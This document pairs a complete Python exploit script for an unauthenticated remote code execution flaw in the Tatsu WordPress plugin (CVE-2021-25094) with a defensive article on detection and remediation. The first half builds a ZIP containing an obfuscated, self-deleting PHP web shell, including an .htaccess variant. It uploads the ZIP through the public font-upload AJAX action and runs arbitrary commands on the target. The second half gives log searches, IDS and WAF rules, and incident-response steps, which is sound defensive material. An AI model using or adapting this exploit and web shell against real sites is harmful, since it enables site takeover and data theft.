Tatsu 3.3.11 - Unauthenticated RCE
# Exploit Title:Tatsu 3.3.11 - Unauthenticated RCE
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Product: Tatsu wordpress plugin <= 3.3.11
# CVE: CVE-2021-25094
# URL: https://tatsubuilder.com/
import sys
import requests
import argparse
import urllib3
import threading
import time
import base64
import queue
import io
import os
import zipfile
import string
import random
from datetime import datetime
urllib3.disable_warnings()
class HTTPCaller():
def __init__(self, url, headers, proxies, cmd):
self.url = url
self.headers = headers
self.proxies = proxies
self.cmd = cmd
self.encodedCmd = base64.b64encode(cmd.encode("utf8"))
self.zipname = None
self.shellFilename = None
if self.url[-1] == '/':
self.url = self.url[:-1]
if proxies:
self.proxies = {"http" : proxies, "https" : proxies}
else:
self.proxies = {}
def generateZip(self, compressionLevel, technique, customShell, keep):
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False,
compressionLevel) as zipFile:
if technique == "custom" and customShell and os.path.isfile(customShell):
with open(customShell) as f:
shell = f.readlines()
shell = "\n".join(shell)
self.shellFilename = os.path.basename(customShell)
if self.shellFilename[0] != ".":
self.shellFilename = "." + self.shellFilename
zipFile.writestr(self.shellFilename, shell)
elif technique == "php":
# a lazy obfuscated shell, basic bypass Wordfence
# i would change base64 encoding for something better
shell = "<?php "
shell += "$f = \"lmeyst\";"
shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
shell += "@$words = array(base64_decode($_POST['text']));"
shell += "$j=\"array\".\"_\".\"filter\";"
shell += "@$filtered_words = $j($words, $a);"
if not keep:
shell += "@unlink(__FILE__);"
self.shellFilename = "." +
(''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".php"
zipFile.writestr(self.shellFilename, shell)
elif technique.startswith("htaccess"):
# requires AllowOverride All in the apache config file
shell = "AddType application/x-httpd-php .png\n"
zipFile.writestr(".htaccess", shell)
shell = "<?php "
shell += "$f = \"lmeyst\";"
shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
shell += "@$words = array(base64_decode($_POST['text']));"
shell += "$j=\"array\".\"_\".\"filter\";"
shell += "@$filtered_words = $j($words, $a);"
if not keep:
shell += "@unlink('.'+'h'+'t'+'a'+'cc'+'e'+'ss');"
shell += "@unlink(__FILE__);"
self.shellFilename = "." +
(''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".png"
zipFile.writestr(self.shellFilename, shell)
else:
print("Error: unknow shell technique %s" % technique)
sys.exit(1)
self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in
range(3))
self.zipFile = buffer
def getShellUrl(self):
return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url,
self.zipname, self.shellFilename)
def executeCmd(self):
return requests.post(url = self.getShellUrl(), data = {"text":
self.encodedCmd}, headers = self.headers, proxies = self.proxies,
verify=False)
def upload(self):
url = "%s/wp-admin/admin-ajax.php" % self.url
files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())}
return requests.post(url = url, data = {"action": "add_custom_font"},
files = files, headers = self.headers, proxies = self.proxies, verify=False)
def main():
description = "|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress
plugin <= 3.3.8\n"
description += "|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)"
print(description)
print("")
parser = argparse.ArgumentParser()
parser.add_argument("url", help="Wordpress vulnerable URL (example:
https://mywordpress.com/)")
parser.add_argument("cmd", help="OS command to execute")
parser.add_argument('--technique', help="Shell technique: php | htaccess |
custom", default="php")
parser.add_argument('--customShell', help="Provide a custom PHP shell file
that will take a base64 cmd as $_POST['text'] input")
parser.add_argument('--keep', help="Do not auto-destruct the uploaded PHP
shell", default=False, type=bool)
parser.add_argument('--proxy', help="Specify and use an HTTP proxy
(example: http://localhost:8080)")
parser.add_argument('--compressionLevel', help="Compression level of the
zip file (0 to 9, default 9)", default=9, type=int)
args = parser.parse_args()
# Use web browser-like header
headers = {
"X-Requested-With": "XMLHttpRequest",
"Origin": args.url,
"Referer": args.url,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/90.0.4430.212 Safari/537.36",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.9"
}
caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
print("[+] Generating a zip with shell technique '%s'" % args.technique)
caller.generateZip(args.compressionLevel, args.technique,
args.customShell, args.keep)
print("[+] Uploading zip archive to
%s/wp-admin/admin-ajax.php?action=add_custom_font" % (args.url))
r = caller.upload()
if (r.status_code != 200 or not r.text.startswith('{"status":"success"')):
print("[!] Got an unexpected HTTP response: %d with content:\n%s" %
(r.status_code, r.text))
print("[!] Exploit failed!")
sys.exit(1)
print("[+] Upload OK")
print("[+] Trigger shell at %s" % caller.getShellUrl())
r = caller.executeCmd()
if (r.status_code != 200):
print("[!] Got an unexpected HTTP response: %d with content:\n%s" %
(r.status_code, r.text))
print("[!] Exploit failed!")
sys.exit(1)
print("[+] Exploit success!")
print(r.text)
if args.keep:
print("[+] Call it with:")
print('curl -X POST -d"text=$(echo "{0}" | base64 -w0)"
{1}'.format(args.cmd, caller.getShellUrl()))
else:
print("[+] Shell file has been auto-deleted but parent directory will
remain on the webserver")
print("[+] Job done")
if __name__ == '__main__':
main() Tatsu (<= 3.3.11) Unauthenticated RCE (CVE-2021-25094) — Analysis, Detection, and Remediation
This article explains the unauthenticated remote code execution (RCE) vulnerability affecting the Tatsu WordPress plugin (versions up to and including 3.3.11), commonly tracked as CVE-2021-25094. The goal is defensive: to describe the vulnerability at a high level, explain probable attack vectors, provide practical detection and mitigation strategies, and outline an incident response checklist for site owners and defenders.
Executive summary
The Tatsu plugin vulnerability permits unauthenticated attackers to upload crafted ZIP archives via a public AJAX action. By abusing the font-upload functionality and improper validation of archive contents and names, an attacker can cause server-side execution of uploaded code (for example, by deploying a PHP web shell or abusing .htaccess handling). Successful exploitation leads to full site compromise (webshell access, data theft, lateral movement within the hosting environment).
Why this is critical
- Unauthenticated: no valid WP user account is required.
- RCE: attackers can run arbitrary commands or persistent web shells on the web server.
- Common hosting: many WordPress sites use shared hosting and default Apache/PHP configurations that make this class of vulnerability dangerous.
Technical summary (high-level, non-actionable)
At a high level, the plugin exposed an AJAX endpoint that accepted a ZIP upload intended for custom fonts. The plugin failed to adequately restrict the archive contents and allowed placement of files under a publicly writable uploads subdirectory. Attackers could craft ZIP entries that resulted in a server-side executable artifact (for example, a PHP file or an image file that PHP would execute via a permissive .htaccess directive). Once the file is reachable under the web root, an HTTP request can trigger execution of the payload, resulting in RCE.
Important defensive observations (do not use for offensive purposes):
- Attackers commonly leverage zip entries with filenames that begin with a dot (hidden files) or non-standard extensions to avoid simple filters.
- Abuse of .htaccess + handler directives (for example, mapping non-PHP extensions to PHP) can help execute code when direct .php uploads are blocked.
- Some exploit flows include self-deleting web shells to reduce forensic traces.
Vulnerability metadata
| Item | Detail |
|---|---|
| Vulnerability | Unauthenticated file upload / RCE through plugin upload endpoint |
| CVE | CVE-2021-25094 |
| Affected plugin | Tatsu — versions up to and including 3.3.11 (per public advisories) |
| Primary risk | Remote Code Execution, site compromise |
Detection and hunting
Focus on finding signs of suspicious uploads, anomalous AJAX requests, and web-accessible PHP or PHP-containing files under wp-content/uploads. The following defensive rules, log-hunting queries, and scanning snippets are safe and intended for defenders.
1) Search webserver logs for suspicious admin-ajax activity
Look for POST requests to admin-ajax.php that include parameters similar to the font-upload action (a likely parameter name was add_custom_font in disclosed advisories). Any anonymous POSTs that attempt file upload are high-priority.
# Example: search Apache access logs for admin-ajax POSTs (bash)
zgrep "POST /wp-admin/admin-ajax.php" /var/log/apache2/access.log*
# Narrow to likely action parameter (do not try exploit; only detect)
zgrep "add_custom_font" /var/log/apache2/access.log* || true
Explanation: These commands search compressed and uncompressed Apache access logs for POST calls to admin-ajax.php and for the add_custom_font parameter. That highlights suspected attempts to use the vulnerable endpoint.
2) Scan uploads directory for executable content
Hunt for PHP code inside unexpected file types (e.g., .png/.jpg or dot-prefixed files). An attacker may use non-.php extensions or hidden filenames to bypass naïve filters.
# Look for PHP tags inside uploads (Linux)
grep -R --line-number --include="*" "<?php" wp-content/uploads || true
# Find image files that contain PHP code
find wp-content/uploads -type f \( -iname "*.php" -o -iname "*.png" -o -iname "*.jpg" \) -exec grep -I --line-number "<?php" {} \; -print || true
Explanation: These safe commands detect files that contain PHP opening tags within the uploads tree. Any non-standard file containing PHP needs immediate investigation.
3) Example IDS/Suricata alert (defensive)
# Suricata-like rule (alert only; signature tuned to POST to admin-ajax with "add_custom_font")
alert http any any -> any any (msg:"WP Tatsu suspicious add_custom_font upload"; \
flow:established,to_server; http.method; content:"POST"; \
http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"add_custom_font"; \
classtype:web-application-attack; sid:1000001; rev:1;)
Explanation: This IDS signature raises an alert when a POST to admin-ajax.php includes the suspicious parameter add_custom_font. It supports early detection of mass scanning or exploitation attempts. Tune and validate in your environment to reduce false positives.
4) File integrity monitoring approach
- Track changes to wp-content/uploads and any new dotfiles (files beginning with a dot).
- Alert on new .htaccess files or any files with executable permissions in uploads.
# Example: simple file list snapshot (defensive)
cd /var/www/html
find wp-content/uploads -type f -printf "%P\t%T@\n" | sort > /var/log/tatsu_uploads_snapshot.txt
# Periodically diff later snapshots against baseline to detect additions
Explanation: Maintain a baseline snapshot and compare over time. Unexpected new files under uploads are strong indicators of compromise.
Mitigation and remediation
If you operate an affected site, act quickly. The most reliable fix is to patch or remove the vulnerable plugin. Additional mitigations provide short-term protection while you remediate.
1) Patch or remove
- Update the Tatsu plugin to the latest official release from the vendor (use the WordPress admin UI, trusted plugin repository, or wp-cli).
- If you cannot immediately update, deactivate and remove the plugin until a patch can be applied.
# wp-cli example: update or deactivate (defensive)
# Update all plugins (ensure you have backups)
wp plugin update tatsu --allow-root
# Or deactivate and delete until patch is possible
wp plugin deactivate tatsu --allow-root
wp plugin delete tatsu --allow-root
Explanation: Updating to a patched plugin version eliminates this known attack surface. Deactivating/removing the plugin prevents the vulnerable endpoint from being used.
2) Short-term WAF rules
Deploy web application firewall rules to block the attack vector until patched. Example ModSecurity rule (deny POST to admin-ajax with the specific action).
# ModSecurity example (defensive)
SecRule REQUEST_METHOD "POST" "phase:1,chain,deny,id:123456,msg:'Block Tatsu add_custom_font upload'"
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" "chain"
SecRule ARGS_NAMES|ARGS|REQUEST_BODY "@contains add_custom_font"
Explanation: This defensive ModSecurity rule denies POST requests that target admin-ajax.php and include the add_custom_font parameter. Apply carefully and test for false positives.
3) Remove web shells and dangerous artifacts
- Search for suspicious dot-prefixed files, .htaccess files that change handlers, and image files containing PHP.
- Quarantine and examine artifacts before deletion; collect forensic copies if you suspect compromise.
Incident response checklist
- Isolate: If you detect signs of compromise, isolate the affected site or take it offline to prevent further damage.
- Snapshot: Preserve logs, file system snapshots, and backups for investigation and recovery.
- Forensic triage: Identify when the compromise started, list modified or newly created files (especially under uploads), and extract IOCs (IP addresses, user agents, upload filenames).
- Eradicate: Remove malicious files and backdoors; apply the vendor patch or remove the vulnerable plugin.
- Harden: Rotate credentials (WP admin, database, SSH), review user accounts and permissions, and change API keys if used on the site.
- Restore: Rebuild from a known-good backup if you cannot confidently remove all backdoors.
- Monitor: Increase logging and monitoring for at least several weeks post-incident to detect persistence attempts.
Hardening and long-term prevention
- Least privilege: Ensure web server processes and upload directories have the minimum permissions required.
- Plugin inventory: Maintain an inventory and lifecycle management process for plugins; remove unused plugins immediately.
- Automatic updates: Use controlled automatic updates for security patches where appropriate, or subscribe to alerts for critical plugin updates.
- WAF and filtering: Implement a WAF that blocks anomalous uploads and high-risk AJAX actions by default.
- Content-type enforcement: Prevent execution of PHP in uploads by disallowing PHP processing in the uploads directory (server configuration), and do not allow .htaccess overrides if not required.
- File validation: Validate archive contents and filenames when you accept ZIP uploads; avoid unpacking archives into web-accessible directories.
Indicators of compromise (IOCs) and what to look for
- HTTP POSTs to /wp-admin/admin-ajax.php with parameters indicating font upload action (e.g., add_custom_font).
- Creation of dot-prefixed files in wp-content/uploads (e.g., files beginning with a period).
- .htaccess files placed inside upload subdirectories modifying PHP handlers or AddType directives.
- Binary or text payloads in uploads that contain PHP tags or base64-encoded payloads.
- Unexpected outbound connections originating from the web server (possible beaconing from backdoors).
Conclusion
CVE-2021-25094 illustrates how a seemingly specialized feature (custom font upload) can expose a critical attack surface when input validation, file handling, and upload placement are not implemented defensively. The most effective response is immediate patching or removal of the vulnerable plugin, combined with targeted detection and incident-response playbooks. If you are responsible for WordPress sites, review plugin inventories, enforce strict upload handling, and implement monitoring to detect abnormal uploads and post-exploitation activity.